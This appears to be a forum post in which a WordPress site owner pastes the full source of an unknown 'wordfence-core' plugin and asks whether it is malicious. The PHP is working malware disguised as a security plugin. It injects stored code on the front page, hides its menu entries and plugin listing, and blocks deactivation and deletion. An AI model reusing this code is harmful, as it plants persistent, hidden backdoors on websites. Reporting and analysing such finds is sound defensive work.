malicious plugin wordfence-core

Today I just discovered a wordfence-core folder on my blog. It’s kinda weird – i’be never installed such plugin.

Here is the code of the plugin (one file only). I bet this is kinda hack-ish, right?

<?php
/*
Plugin Name: Wordfence Core
Description: Wordfence Core Plugin for WordPress
Version: 9.42
Author: 
*/

add_action('admin_menu', 'wordfence_core_menu');
function wordfence_core_menu() {
	add_options_page('Wordfence Core', 'Wordfence Core', 'manage_options', 'wordfence-core', 'wordfence_core_page');
}

function wordfence_core_page() {
	echo '<div class="wrap">';
	echo '<h2>Wordfence Core</h2>';
	echo '<form method="post" action="options.php">';
	settings_fields('wordfence_core_options');
	do_settings_sections('wordfence-core');
	submit_button();
	echo '</form>';
	echo '</div>';
}

add_action('admin_init', 'wordfence_core_admin_init');
function wordfence_core_admin_init(){
	register_setting( 'wordfence_core_options', 'wordfence_core_options', 'wordfence_core_options_validate' );
	add_settings_section('wordfence_core_main', 'Настройки Wordfence Core', 'wordfence_core_section_text', 'wordfence-core');
	add_settings_field('wordfence_core_code', 'Код для отображения на главной странице', 'wordfence_core_setting_string', 'wordfence-core', 'wordfence_core_main');
}

function wordfence_core_section_text() {
	echo '<p></p>';
}

function wordfence_core_setting_string() {
	$options = get_option('wordfence_core_options');
	echo "<input id='wordfence_core_code' name='wordfence_core_options[code]' size='40' type='text' value='{$options['code']}' />";
}

function wordfence_core_options_validate($input) {
	$newinput['code'] = trim($input['code']);
	return $newinput;
}

add_action('get_footer', 'wordfence_core_footer', 1);
function wordfence_core_footer() {
	if (is_front_page()) {
		$options = get_option('wordfence_core_options');
		if (empty($options['code'])) {
			$backup = get_option('wordfence_core_options_backup');
			if (!empty($backup['code'])) {
				echo $backup['code'];
			}
		} else {
			echo $options['code'];
		}
	}
}

add_action('admin_init', 'wordfence_core_backup_restore');
function wordfence_core_backup_restore() {
	$options = get_option('wordfence_core_options');
	$backup = get_option('wordfence_core_options_backup');

	if (empty($options['code']) && !empty($backup['code'])) {
		$options['code'] = $backup['code'];
		update_option('wordfence_core_options', $options);
	}
}
function hide_post_data_slug9() {
    echo '<script>
    jQuery(document).ready(function($) {
       $("[href=\'options-general.php?page=wordfence-core\']").attr("style", "display: none;");
    });
    </script>';
}

add_action('admin_footer', 'hide_post_data_slug9');

function hide_post_data_slug10() {
    echo '<script>
    jQuery(document).ready(function($) {
        $("[id=\'toplevel_page_wordfence-core\']").attr("style", "display: none;");
    });
    </script>';
}
add_action('admin_footer', 'hide_post_data_slug10');


register_deactivation_hook( __FILE__, 'block_deactivation5' );
function block_deactivation5() {
    wp_die( 'This plugin cannot be deactivated.' );
}


add_filter( 'plugin_action_links', 'block_deletion5', 10, 2 );
function block_deletion5( $actions, $plugin_file ) {
    if ( plugin_basename( __FILE__ ) === $plugin_file ) {
        unset( $actions['delete'] );
    }
    return $actions;
};

add_filter('all_plugins', 'hide_plugin_from_admin5');
 
function hide_plugin_from_admin5($plugins) {
    foreach ($plugins as $key => $value) {
        if (strpos($key, basename(__FILE__)) !== false) {
            unset($plugins[$key]);
        }
    }  
    return $plugins;  
};
?>